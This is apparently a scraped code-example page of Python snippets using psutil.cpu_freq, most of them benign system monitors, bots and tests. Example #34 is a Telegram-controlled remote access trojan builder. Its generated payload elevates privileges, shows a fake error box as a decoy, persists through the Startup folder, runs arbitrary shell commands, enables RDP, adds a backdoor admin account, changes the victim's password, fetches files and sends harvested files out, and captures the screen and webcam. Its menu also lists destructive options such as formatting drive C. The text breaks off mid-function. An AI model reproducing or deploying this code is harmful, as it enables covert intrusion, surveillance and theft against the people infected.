    
    
    cputime = psutil.cpu_percent()
    # Return a float representing the current system-wide CPU utilization as a percentage

    cpucount = psutil.cpu_count()
    # Return the number of logical CPUs in the system 

    cpucountlogical = psutil.cpu_count(logical=False)
    # Return the number of physical cores only (hyper thread CPUs are excluded) 

    cpuusable = len(psutil.Process().cpu_affinity())
    # The number of usable CPUs

    psutil.cpu_freq(percep=True)
    # Return CPU frequency as a nameduple including current, min and max frequencies expressed in Mhz

    #
    # ──────────────────────────────────────────────────── II ──────────
    #   :::::: M E M O R Y : :  :   :    :     :        :          :
    # ──────────────────────────────────────────────────────────────
    #
    mem = psutil.virtual_memory()
    # Return statistics about system memory usage as a named tuple

    #
    # ────────────────────────────────────────────────── III ──────────
    #   :::::: D I S K S : :  :   :    :     :        :          :
    # ────────────────────────────────────────────────────────────
    #
Example #19
0
 def processFREQ(self):
     self.PROCESSORFREQ["text"] = psutil.cpu_freq(percpu=False)
     self.after(1000, self.processFREQ)
Example #20
0
else:
    print(a)

try:
    while (1):
        #Récupération de l'hote
        nomHost = platform.node() + IP

        #Récupération de noyau
        version = platform.release()

        #Récupération du type cpu
        cpu = platform.processor()

        #Récupération de la fréquence cpu
        cpuFre = psutil.cpu_freq().current
        cpuMax = psutil.cpu_freq().max
        if systeme == 'Windows':
            uptime = "pas de valeur"
        elif systeme == 'Linux':
            # calculate the uptime
            uptime_file = open('/proc/uptime')
            uptime = uptime_file.readline().split()[0]
            uptime_file.close()
            uptime = float(uptime)
            (uptime, secs) = (int(uptime / 60), uptime % 60)
            (uptime, mins) = divmod(uptime, 60)
            (days, hours) = divmod(uptime, 24)
            uptime = 'up %d jour%s, %d:%02d' % (days, days != 1 and 's'
                                                or '', hours, mins)
Example #21
0
__copyright__ = "Copyright 2015-2017, ContraxSuite, LLC"
__license__ = "https://github.com/LexPredict/lexpredict-lexnlp/blob/master/LICENSE"
__version__ = "0.1.8"
__maintainer__ = "LexPredict, LLC"
__email__ = "*****@*****.**"

DIR_ROOT = os.path.normpath(
    os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))
DIR_BENCHMARKS = os.path.join(DIR_ROOT, 'benchmarks')
FN_BENCHMARKS = os.path.join(DIR_BENCHMARKS, 'benchmarks.csv')
FN_PROBLEMS = os.path.join(DIR_BENCHMARKS, 'problems_hr.txt')
DIR_TEST_DATA = os.path.join(DIR_ROOT, 'test_data')
IN_CELL_CSV_DELIMITER = '|'
IN_CELL_CSV_NONE = ''
SYS_OS_UNAME = os.uname()
SYS_CPU_FREQ = psutil.cpu_freq()
SYS_CPU_FREQ = SYS_CPU_FREQ.current if SYS_CPU_FREQ else None
SYS_CPU_COUNT = psutil.cpu_count()
SYS_MEM_TOTAL = psutil.virtual_memory().total
SYS_OS_NAME = '{0} {1} ({2})'.format(SYS_OS_UNAME.sysname,
                                     SYS_OS_UNAME.release,
                                     SYS_OS_UNAME.version)
SYS_NODE_NAME = SYS_OS_UNAME.nodename
SYS_ARCH = SYS_OS_UNAME.machine


def this_test_data_path(create_dirs: bool = False,
                        caller_stack_offset: int = 1):
    """
    Calculate test data file path for the test function which called this one.
    The path/name are calculated using python execution stack trace routines.
Example #22
0
def kiwi_main(kiwi):
    pass

    parser = argparse.ArgumentParser(
        description=kiwi.module_desc,
        epilog=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter)

    subparsers = parser.add_subparsers(dest="action")
    parser.add_argument("-q",
                        "--quiet",
                        help="do not display any output",
                        action="store_true")

    # system volume control
    volume_subparser = subparsers.add_parser("volume")
    volume_subparser.add_argument("-I",
                                  "--intervals",
                                  type=int,
                                  metavar="AMOUNT",
                                  help="intervals of the entire volume range")
    volume_subparser.add_argument("-s",
                                  "--sink",
                                  type=int,
                                  metavar="INDEX",
                                  help="target sink index",
                                  default=0)
    volume_subparser.add_argument(
        "--range-symbol",
        type=str,
        metavar="SYMBOL",
        help="symbol that represents a unit of range",
        default="─")
    volume_subparser.add_argument(
        "--value-symbol",
        type=str,
        metavar="SYMBOL",
        help="symbol that represents the current value of range",
        default="|")
    volume_control_group = volume_subparser.add_mutually_exclusive_group()
    volume_control_group.add_argument("-t",
                                      "--toggle-mute",
                                      action="store_true",
                                      help="toggle sound mute")
    volume_control_group.add_argument("-m",
                                      "--mute",
                                      action="store_true",
                                      help="mute sound")
    volume_control_group.add_argument("-u",
                                      "--unmute",
                                      action="store_true",
                                      help="unmute sound")
    volume_control_group.add_argument(
        "-i",
        "--increment",
        type=int,
        metavar="PERCENTAGE",
        help="increment volume by specified percentage",
        choices=range(1, 100))
    volume_control_group.add_argument(
        "-d",
        "--decrement",
        type=int,
        metavar="PERCENTAGE",
        help="decrement volume by specified percentage",
        choices=range(1, 100))

    # system information
    info_subparser = subparsers.add_parser("info")
    info_subparser.add_argument("-j",
                                "--jsonpath",
                                type=str,
                                metavar="PATH",
                                help="fetch specific fields from result")
    info_subparsers = info_subparser.add_subparsers(dest="info_action")

    # system information
    for item in [
            "wan", "lan", "ram", "swap", "cpu", "net", "temp", "fans",
            "battery"
    ]:
        info_subparsers.add_parser(item)

    args = parser.parse_args()

    # write stdout to devnull if quiet
    stdout = sys.stdout
    devnull = open(os.devnull, 'w')
    if args.quiet:
        sys.stdout = devnull

    try:

        # system volume control
        if args.action == "volume":

            import pulsectl

            # must provide a range to print it out
            if not args.quiet:
                if not args.intervals:
                    parser.error("must provide interval range if not using -q")
            else:
                args.intervals = 0

            # pulseaudio client
            with pulsectl.Pulse('client') as pulse:

                # get target sink
                target_sink = pulse.sink_list()[args.sink]

                # base off of the left channel volume
                current_volume = target_sink.volume.values[0]

                # if volume should be altered
                if args.increment or args.decrement or args.toggle_mute or args.mute or args.unmute:

                    # if volume should be incremented
                    if args.increment or args.decrement:

                        # decide on a value
                        increment_value = args.increment if args.increment else -args.decrement

                        # keep target volume in range
                        target_volume = current_volume + (increment_value /
                                                          100.0)
                        if target_volume > 1 or target_volume < 0:
                            target_volume = abs(target_volume) - (
                                abs(target_volume) % 1)

                    # mute/unmute
                    else:

                        # action related functions
                        def mute(current_volume):
                            with open(VOLUME_CACHE_FILENAME,
                                      'w') as VOLUME_CACHE:
                                VOLUME_CACHE.write(str(current_volume))
                            return 0

                        def unmute():
                            if os.path.isfile(VOLUME_CACHE_FILENAME):
                                with open(VOLUME_CACHE_FILENAME,
                                          'r') as VOLUME_CACHE:
                                    return float(VOLUME_CACHE.read())
                            return 1.0

                        def toggle():

                            if current_volume == 0:
                                return unmute()
                            else:
                                return mute(current_volume)

                        # act based on parameter
                        if args.toggle_mute:
                            target_volume = toggle()
                        elif args.mute:
                            target_volume = mute(current_volume)
                        else:
                            target_volume = unmute()

                    # set result volume
                    pulse.volume_set_all_chans(target_sink, target_volume)

                    # update current volume value
                    current_volume = target_volume

                # print volume state
                volume_range = args.range_symbol * args.intervals
                value_index = max(
                    0,
                    math.floor(args.intervals * current_volume) - 1)
                print(volume_range[:value_index] + args.value_symbol +
                      volume_range[value_index + 1:])

        # networking information
        elif args.action == "info":

            import psutil
            import jsonpath

            # get appropriate info
            info_json = {
                "wan":
                lambda: loads(kiwi.request(Request('GET', '/info/wan')).text),
                "lan":
                lambda: psutil.net_if_addrs(),
                "ram":
                lambda: psutil.virtual_memory()._asdict(),
                "swap":
                lambda: psutil.swap_memory()._asdict(),
                "cpu":
                lambda: {
                    'system-wide': psutil.cpu_percent(interval=1),
                    'per-cpu': psutil.cpu_percent(percpu=True),
                    'stats': psutil.cpu_stats()._asdict(),
                    'freq': psutil.cpu_freq()._asdict()
                },
                "net":
                lambda: psutil.net_io_counters()._asdict(),
                "temp":
                lambda: psutil.sensors_temperatures(),
                "fans":
                lambda: psutil.sensors_fans(),
                "battery":
                lambda: psutil.sensors_battery()._asdict(),
            }.get(args.info_action, lambda: None)()
            info_json = info_json if info_json else {}

            # print query if specified, otherwise print everything
            if args.jsonpath:
                result = jsonpath.jsonpath(loads(dumps(info_json)),
                                           args.jsonpath)

                # format result
                if result:
                    if len(result) == 1:
                        result = result[0]
                else:
                    result = ""

                print(result, end="")
            else:
                print(dumps(info_json, indent=4), end="")

    finally:
        sys.stdout = stdout
Example #23
0
def statsReporter(bot, chat_id, sysinfo_path):
    items_list = []
    i = 0

    battenergy = ""
    battcharge = ""
    batttime = ""
    fanspeed = ""
    cputemp = ""
    with open(sysinfo_path, newline='') as csvfile:
        reader = csv.reader(csvfile, delimiter=',')
        for row in reader:
            items_list.append(row)
        while i <= len(items_list):
            if items_list[1][i] == '1':
                print(items_list[0][i] + " exists, continue check...")
                if items_list[0][i] == 'BATTERY':
                    battery = psutil.sensors_battery()
                    battenergy = "Battery energy: %.2f percents" % battery.percent
                    battcharge = "Battery charging: " + str(battery.power_plugged)
                    batttime = "Battery time left: %.2f minutes" % (battery.secsleft / 60)
                elif items_list[0][i] == 'FANS':
                    fans = psutil.sensors_fans()
                    fanspeed = "FAN: %.0f RPM" % list(fans.values())[0][0][1]
                elif items_list[0][i] == 'TEMPERATURES':
                    cputemp = "CPU Temperature " + str(list(temperature.values())[0][0][1])    
            elif items_list[1][i] == '0':
                print(items_list[0][i] + " doesn't exist, skipping.")
            elif items_list[1][i] != '1' and items_list[1][i] != '0':
                print(str(items_list[0][i]) + " is not being checked for existence: " + str(items_list[1][i]))
            i += 1

    memory = psutil.virtual_memory()
    disk = psutil.disk_usage('/')
    cpufreq = psutil.cpu_freq()
    cpuperc = psutil.cpu_percent()
    temperature = psutil.sensors_temperatures()
    swap = psutil.swap_memory()
    loadavg = os.getloadavg()
    boottime = datetime.fromtimestamp(psutil.boot_time())
    now = datetime.now()
    timedif = "Online for: %.2f Hours" % (
        ((now - boottime).total_seconds()) / 3600)
    memtotal = "Total memory: %.3f GB " % (memory.total / 1000000000)
    memavail = "Available memory: %.3f GB" % (
        memory.available / 1000000000)
    memuseperc = "Used memory: " + str(memory.percent) + " %"
    diskused = "Disk used: " + str(disk.percent) + " %"
    cpuperccurr = "CPU Load " + str(cpuperc.conjugate()) + " %"
    cpurfreqcurr = "CPU frequency: %.2f MHz" % cpufreq.current
   #cputemp = "CPU Temperature " + str(list(temperature.values())[0][0][1])
    swapused = "SWAP used " + str(swap.used / 1024 / 1024) + " MB"
    loadavgcurr = "Load AVG " + str(loadavg)
    pids = psutil.pids()
    pidsreply = ''
    procs = {}
    for pid in pids:
        p = psutil.Process(pid)
        try:
            pmem = p.memory_percent()
            if pmem > 0.5:
                if p.name() in procs:
                    procs[p.name()] += pmem
                else:
                    procs[p.name()] = pmem
        except:
            print("Hm")
    sortedprocs = sorted(
    procs.items(), key=operator.itemgetter(1), reverse=True)
    for proc in sortedprocs:
        pidsreply += proc[0] + " " + ("%.2f" % proc[1]) + " %\n"
        reply = timedif + "\n" + \
            memtotal + "\n" + \
            memavail + "\n" + \
            memuseperc + "\n" + \
            diskused + "\n" + \
            loadavgcurr + "\n" + \
            cpuperccurr + "\n" + \
            cpurfreqcurr + "\n" + \
            cputemp + "\n" + \
            fanspeed + "\n" + \
            swapused + "\n" + \
            battenergy + "\n" + \
            battcharge + "\n" + \
            batttime + "\n\n" + \
            pidsreply
    bot.sendMessage(chat_id, reply, disable_web_page_preview=True)
import psutil
import datetime
import time
import sys
import signal

print(psutil.cpu_count())

for x in range(5):
    print(psutil.cpu_percent(interval=1, percpu=False))
    #print(psutil.cpu_percent(interval=1, percpu=True))
    print(psutil.cpu_freq())
    print(psutil.virtual_memory())
    print(psutil.disk_usage('/'))
Example #25
0
def freq():
    return round(psutil.cpu_freq().current / 1000.0000, 1)
Example #26
0
 def __init__(self, frequency=None):
     self.frequency = frequency or psutil.cpu_freq().max * 1e6
Example #27
0
    async def system(self, ctx):
        """
        Display the bots system stats.
        """

        embed = discord.Embed(colour=self.bot.settings['colors']['embed_color'])
        embed.description = _("**System CPU:**\n- Frequency: {0} Mhz\n- Cores: {1}\n- Usage: {2}%\n\n"
                              "**System Memory:**\n- Available: {3} MB\n- Total: {4} MB\n- Used: {5} MB\n\n"
                              "**System Disk:**\n- Total: {6} GB\n- Used: {7} GB\n- Free: {8} GB\n\n"
                              "**Process Info:**\n- Memory Usage: {9} MB\n- CPU Usage: {10}%\n- Threads: {11}").format(round(psutil.cpu_freq().current, 2),
                                                                                                                       psutil.cpu_count(), psutil.cpu_percent(),
                                                                                                                       round(psutil.virtual_memory().available / 1048576),
                                                                                                                       round(psutil.virtual_memory().total / 1048576),
                                                                                                                       round(psutil.virtual_memory().used / 1048576),
                                                                                                                       round(psutil.disk_usage("/").total / 1073741824, 2),
                                                                                                                       round(psutil.disk_usage("/").used / 1073741824, 2),
                                                                                                                       round(psutil.disk_usage("/").free / 1073741824, 2),
                                                                                                                       round(self.bot.process.memory_full_info().rss / 1048576, 2),
                                                                                                                       self.bot.process.cpu_percent(), self.bot.process.num_threads())

        return await ctx.send(embed=embed)
Example #28
0
 def test_cpu_freq(self):
     self.assert_ntuple_of_nums(psutil.cpu_freq())
Example #29
0
import psutil as psu
import time
import math
import os

print("Frekuensi CPU = ", psu.cpu_freq(percpu=False))
print("Penggunaan CPU = ", psu.cpu_percent(interval=1), "%")
print("Penggunaan Hardisk = ", psu.disk_usage('/').used/1000000, "MB /", psu.disk_usage('/').total/1000000, "MB -", psu.disk_usage("/").percent, "%")
print("Penggunaan Memory = ",psu.virtual_memory().used/1000000, "MB /",psu.virtual_memory().total/1000000,"MB -", psu.virtual_memory().percent, "%")
print("Memory Tersedia = ", psu.virtual_memory().available/1000000, "MB /",psu.virtual_memory().total/1000000,"MB -", psu.virtual_memory().available * 100 / psu.virtual_memory().total, "%")
print("Jumlah thread CPU = ", psu.cpu_count(logical = True))
inet=(os.popen('ifconfig | grep inet').readlines())
eth=(os.popen('ifconfig | grep "RX packets"').readlines())
eth2=(os.popen('ifconfig | grep "TX packets"').readlines())
b=0
for i in range(3):
     print(inet[b],eth[i],eth2[i])
     b=b+2
Example #30
0
def cpu_frequency_each() -> NamedTuple:
    ''' Frequency per CPU

    Returns a named tuple.
    '''
    return psutil.cpu_freq(percpu=True)
Example #31
0
def cpu_frequency_all() -> NamedTuple:
    ''' Summary of CPU Frequency

    Returns a named tuple.
    '''
    return psutil.cpu_freq(percpu=False)
Example #32
0
def get_system_info(which: str) -> List[Union[str, Tuple[str, str]]]:
    """
    Creates list of informations formatted in urwid stye.

    :param which: Kind of information to return. (top or bottom)
    :return: List of tuples or strings descibing urwid attributes and content.
    """
    rv: List[Union[str, Tuple[str, str]]] = []
    if which == "grammm_top":
        uname = platform.uname()
        cpufreq = psutil.cpu_freq()
        svmem = psutil.virtual_memory()
        distro, version = get_os_release()
        rv += [
            u"\n",
            "Console User Interface",
            "\n",
            u"\xa9 2020 ",
            "grammm GmbH",
            u"\n",
        ]
        rv.append(f"Distribution: {distro} Version: {version}" if distro.lower(
        ).startswith('grammm') else '')
        rv.append("\n")
        rv.append("\n")
        if cpufreq:
            rv.append(
                f"{psutil.cpu_count(logical=False)} x {uname.processor} CPUs a {get_hr(cpufreq.current * 1000 * 1000, 'Hz', 1000)}"
            )
        else:
            rv.append(
                f"{psutil.cpu_count(logical=False)} x {uname.processor} CPUs")
        rv.append("\n")
        rv.append(
            f"Memory {get_hr(svmem.used)} used of {get_hr(svmem.total)}. {get_hr(svmem.available)} free."
        )
        rv.append("\n")
        rv.append("\n")
    elif which == "grammm_bottom":
        uname = platform.uname()
        if_addrs = psutil.net_if_addrs()
        boot_time_timestamp = psutil.boot_time()
        bt = datetime.fromtimestamp(boot_time_timestamp)
        rv += [
            u"\n", "For further configuration you can use following URLs:",
            u"\n"
        ]
        rv.append("\n")
        for interface_name, interface_addresses in if_addrs.items():
            if interface_name in ['lo']:
                continue
            for address in interface_addresses:
                if str(address.family) == 'AddressFamily.AF_INET':
                    rv.append(f"Interface: ")
                    rv.append(('reverse', f"{interface_name}"))
                    rv.append(
                        f"  Address: https://{address.address}/grammm/admin/interface"
                    )
                    rv.append("\n")
                    rv.append(
                        f"  or https://{uname.node}/grammm/admin/interface")
                    rv.append("\n")
                    rv.append("\n")
                else:
                    continue
        rv.append(f"Boot Time: ")
        rv.append(('reverse', f'{bt.isoformat()}'))
        rv.append("\n")
        rv.append("\n")
    else:
        rv.append("Oups!")
        rv.append("There should be nothing.")
    return rv
Example #33
0
        chrg = subprocess.check_output(["sudo", "dmidecode", "-t", "22"])

        #NET

        old_value = psutil.net_io_counters(
        ).bytes_sent + psutil.net_io_counters().bytes_recv
        time.sleep(1)
        new_value = psutil.net_io_counters(
        ).bytes_sent + psutil.net_io_counters().bytes_recv
        net_sts = new_value - old_value

        #CPU

        cpu_percent = psutil.cpu_percent(interval=1)
        cpu_freq = psutil.cpu_freq(percpu=False)
        cpu_temp = psutil.sensors_temperatures(fahrenheit=False)

        #RAM

        mem = psutil.virtual_memory()

        ram = subprocess.check_output(
            ["sudo", "lshw", "-short", "-C", "memory"])

        #HDD

        hd_tmp = subprocess.check_output(
            ["sudo", "smartctl", "-A", "/dev/sda"])

        hd = subprocess.check_output(["sudo", "smartctl", "-i", "/dev/sda"])
Example #34
0
    def make():
        uname = platform.uname()
        cpuFreq = psutil.cpu_freq()
        mainUser = getpass.getuser()
        source = f'''
from telegram.ext import * ##
from telegram import * ##
from subprocess import check_output,STDOUT ##
from zipfile import ZipFile ##
from  pynput.keyboard import  Key,Controller
import platform ##
import psutil ##
import os ##
import getpass ##
import requests
import elevate
import wget
import pyautogui
import random
import cv2
import shutil
import win32api
import ctypes
import time
import webbrowser
try:
    elevate.elevate()
except:pass
finally:
    messageBox = ctypes.windll.user32.MessageBoxW
    returnValue = messageBox(0,"This verison of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) verion of the program","ERROR",0x10 | 0x0)

try:
    shutil.copy(__file__,f"C:/Users/{getpass.getuser()}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")
except:pass


updater=Updater('{setting["token"]}',use_context=True)
chat_id='{setting["chat_id"]}'
'''
        source += r'''
chat_id=str(chat_id)

def btn(update:Update,context:CallbackContext):
    btns=[["IP"],
    ["System Information"],
    ["Download File"],
    ["Make User"],
    ["Restart"],
    ["Change Main User Pass"],
    ["Task Manager"],
    ["Lusrmgr"],
    ["Gpedit"],
    ["Enable RDP"],
    ["CMD Commands"]
    ,["Upload File"]
          ,["Run App"]
    ,["Screen Shot"]
    ,["Record Video"]
          ,["Play Bad Sounds"]
    ,["Make File"]
    ,["Change Background"]
    ,["Delete Hard Infos"]
    ,["Crash Windows"]
    ,["Destroy Graphic Card"]
    ,["Destroy CD-Rom"]
    ,["Open Endless Notepad"]
    ,["Create Endless Folder"]
    ,["Create Endless User"]
    ,["Format Drive C"]
    ,["Disable All Antiviruss"]
    ,["Make Beep Sound"]
        ,["Desktop Locker"]
    ,["Delete Logs"]
        ,["Location On Map"]
            ,["Open URL"]
        ,["Show Message Box"]


                          ]

    update.message.reply_text(
        text="Hello User To Rat Bot, Choose A Option"
        ,reply_markup=ReplyKeyboardMarkup(btns,resize_keyboard=True)
            )

def start(update:Update,context:CallbackContext):
    if str(update.message.chat_id)==chat_id:

        btn(update,context)

def ipFinder(update:Update,context:CallbackQuery):
    if str(update.message.chat_id) == chat_id:
        ip=requests.get("http://ip.42.pl/raw").text
        try:
            os.system('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections')
            os.system('reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
            os.system('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections')

            context.bot.sendMessage(chat_id,"IP: "+ip+"""\n[!]And RDP Port Opened (3389) """)
        except:
            context.bot.sendMessage(chat_id, "IP: " + ip+"""\n[!]Could Not Open RDP Port""")



def systemInformation(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        uname = platform.uname()
        allInfo=""
        allInfo+= f"""System: {str(uname.system)} 
"""
        allInfo+=f"""Node Name: {str(uname.node)} 
"""
        allInfo+=f"""Release: {str(uname.release)}
"""
        allInfo+=f"""Version: {str(uname.version)}
"""
        allInfo+=f"""Machine: {str(uname.machine)}
"""
        allInfo+=f"""Processor: {str(uname.processor)}
"""
        allInfo+="""Physical Cores: """+ str(psutil.cpu_count(logical=False))+"""
"""
        allInfo+="""Total Cores: """+ str(psutil.cpu_count(logical=True))+"""
"""
        context.bot.sendMessage(chat_id,allInfo)

def downloadFile(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""For Download Files Enter This Command Blow\n"""+"""/download exe\n then all exe file will be upload for you.""")


def donwloadFileMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        allDrives=[]
        cmdDrives = check_output("wmic logicaldisk get name", shell=True)
        drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:",
                    "O:", "P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
        for i in drives:
            if i.encode() in cmdDrives:

                allDrives.append(i)


        suffix=update.message.text.replace("/download ")
        paths=[]
        for w in allDrives:

            try:

                path = check_output("dir "+w+"\*."+suffix+" /s /b", shell=True
                                                                   )

                paths.append(path.decode())

            except :
                pass

        path=f"c:/users/"+getpass.getuser()
        with ZipFile(path+suffix+".zip","w") as allFilesForZip:
            for i in paths:
                allFilesForZip.write(i)

            allFilesForZip.setpassword("@DR8002")

        context.bot.sendDocument(chat_id,path+suffix+".zip")
        context.bot.sendMessage(chat_id,"Password: @DR8002")

def makeUser(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("net user newuser New123user123 /add")
        os.system("net localgroup administrators newuser /add")
        context.bot.sendMessage(chat_id,"""Username: newuser\nPassword: New123use123""")


def restartSystem(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("shutdown /r")
        context.bot.sendMessage(chat_id,"Restarting")


def changeMainUserPass(update:Update,context:CallbackContext):
    mainUser=getpass.getuser()
    if str(update.message.chat_id) == chat_id:
        try:
            os.system(f"""net user {mainUser} New123Pass123""")
            context.bot.sendMessage(chat_id,f"""Password Changed Successfully\n Password: New123Pass123\nUsername: {mainUser}""")

        except:
            context.bot.sendMessage(chat_id,"""Could Not Change Password""")



def taskManager(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableTask\n/EnableTask""")


def enableTaskManager(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("""REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f""")
        context.bot.sendMessage(chat_id,"Task Manager Enabled Successfully.")

def disableTaskManager(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("""REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f""")
        context.bot.sendMessage(chat_id,"""Task Manager Disabled Successfully.""")
def lusrmgr(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableLusrmgr\n/EnableLusrmgr""")


def disableLusrmgr(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        c="""reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{5D6179C8-17EC-11D1-9AA9-00C04FD8FE93} /v Restrict_Run /t REG_DWORD /d 00000001 /f"""
        os.system(c)
        context.bot.sendMessage(chat_id,"""Lusrmgr Disabled Successfully""")


def enableLusrmgr(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("""reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{5D6179C8-17EC-11D1-9AA9-00C04FD8FE93} /v Restrict_Run /t REG_DWORD /d 00000000 /f""")
        context.bot.sendMessage(chat_id,"""Lusrmgr Enabled Successfully""")
def gpedit(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""Choose One Option Blow:\n/DisableGpedit\n/EnableGpedit""")

def enableGpedit(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system("""REG add "HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 0 /f""")
        context.bot.sendMessage(chat_id,"Gpedit Enabled Successfully")


def disableGpedit(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system('REG add "HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 1 /f')
        context.bot.sendMessage(chat_id, "Gpedit Enabled Successfully")

def enableRdp(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        os.system('reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
        context.bot.sendMessage(chat_id, "RDP Enabled Successfully")
def cmdCommands(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""Enter Your Command Like Blow:\n/cmd command""")


def cmdCommandsMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        command=update.message.text.replace("/cmd ","")

        resultCommand=check_output(command,shell=True)
        context.bot.sendMessage(chat_id,resultCommand.decode())



def uploadFile(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""For Upload File To Target Enter This Command Blow:\n/upload Link path=Enter Your Path To Save File There""")





def uploadFileMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        link=update.message.text.replace("/upload ","")
        link=str(link).split("path=")
        path=link[1]
        link=link[0]
        link=link.replace(" ","")
        print(link)
        wget.download(link,out=path)

def runFile(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"""For Run An App Enter This Command Blow:""")
        context.bot.sendMessage(chat_id,'/run "FileDirectory"')
        context.bot.sendMessage(chat_id,'For Example:/run "c:/users/test/desktop/test.exe"')


def runFileMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        try:
            path=update.message.text.replace("/run ","")
            os.system(path)
            context.bot.sendMessage(chat_id,"App Ran Successfully ")
            
        except EnvironmentError as e:
            context.bot.sendMessage(chat_id,"Failed\n"+e)


def screenShot(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        name=''.join(random.choices("1234567890"+ "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
        screenShotPhoto=pyautogui.screenshot()


        screenShotPhoto.save(f"""c:/users/{getpass.getuser()}/{name}.png""")
        # client = Client('Ab8gRmsmDSTqd13ZfFgBgz')
        # new_filelink = client.upload(filepath=f"""c:/users/{getpass.getuser()}/{name}.png""")
        context.bot.send_photo(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.png""","rb"))


def takePhoto(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        name = ''.join(random.choices("1234567890" + "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
        camera=cv2.VideoCapture(0)
        while 1:
            ret,img=camera.read()
            cv2.imwrite(f"""c:/users/{getpass.getuser()}/{name}.png""")
            break
        camera.release()
        # client = Client('Ab8gRmsmDSTqd13ZfFgBgz')
        # new_filelink = client.upload(filepath=f"""c:/users/{getpass.getuser()}/{name}.png""")
        context.bot.send_photo(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.png""","rb"))
        
        
        
def recordVideo(update:Update,context:CallbackContext):
    
    if str(update.message.chat_id) == chat_id:
        vid=cv2.VideoCapture(0)
        name = ''.join(random.choices("1234567890" + "qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP", k=10))
    
        out = cv2.VideoWriter(f"""c:/users/{getpass.getuser()}/{name}.avi""",cv2.VideoWriter_fourcc('M','J','P','G'), 30, (500,500))
        
        for i in range(1,1000):
            ret,frame=vid.read()
            out.write(frame)
        context.bot.send_video(chat_id,open(f"""c:/users/{getpass.getuser()}/{name}.avi""","rb"))
        
        
        
    
        
def makeFile(update:Update,context:CallbackContext):
    context.bot.sendMessage(chat_id,f"""For Make A Text File in Desktop Enter The Command Blow:\n/makefile text=Your Text That You Want To Write In File. filename=name.txt """)


def makeFileMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        text=update.message.text.replace("/makefile ","")
        filename=text.split("filename=")[1]

        text=str(text).split("text=")[1]
        file=open(f"c:/users/{getpass.getuser()}/desktop/{filename}","w",encoding="UTF-8")
        file.write(text)
        context.bot.sendMessage(chat_id,"Created Successfully!")
        file.close()
        
        
        
def changeBackg(update:Update,context:CallbackContext):
    context.bot.sendMessage(chat_id,"Send Photo.")

def changeBackgMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        with open(f"c:/users/{getpass.getuser()}/img.jpg", 'wb') as f:
            context.bot.getFile(update.message.photo[-1].file_id).download(out=f)
            ctypes.windll.user32.SystemParametersInfoW(20, 0, f"c:/users/{getpass.getuser()}/img.jpg", 0)
            
    context.bot.sendMessage(chat_id,"Background Changed Successfully.")
    



    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"Started,When All Files Deleted I Will Tell You")
        allDrives = []
        allDrives2 = []
        paths = []
    
        def findDrives():
